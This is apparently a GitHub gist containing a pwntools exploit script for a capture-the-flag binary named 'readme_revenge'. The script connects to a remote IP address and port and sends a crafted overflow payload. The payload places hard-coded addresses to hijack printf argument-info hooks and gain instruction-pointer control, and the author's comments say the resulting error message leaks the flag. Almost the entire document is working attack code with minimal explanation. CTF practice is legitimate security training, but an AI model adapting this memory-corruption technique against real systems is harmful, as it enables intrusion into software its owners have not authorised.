Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
#!/usr/bin/python
from pwn import *
p = remote("35.198.130.245", 1337)
#p = process("./readme_revenge")
raw_input()
#name = "A"*920
name = p64(0x00) # Pass NULL Check.
name += "XXXX"
name += p64(0x0)
name += p64(0x6b4040)
name += "B"*24
#name = name.ljust(920,"C")
name += "C"*316
name += p64(0x46b980) # dlscope_free
#name += "X"*8 # RIP Control ; call rax in __printf_arginfo ;
name = name.ljust(920,"C")
# NEED to somehow pivot --> either control RCX or call other hook function.
print str(len(name))
name += p64(0x46b980) # NULL Check # YES
name += "D"*160
name += p64(0x6b4040) # N
name += "D"*(512-168)
name += p64(0x6b73f4) # N
name = name.ljust(1608,"G")
name += p64(0x6b4040)*2 # NULL Check
name += "E"*104
name += "F"*8
name += p64(0x6b73e0)
#name += p64(0x6b4040) # NULL Check
name += "X"*40
p.sendline(name)
# Error message prints flag
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment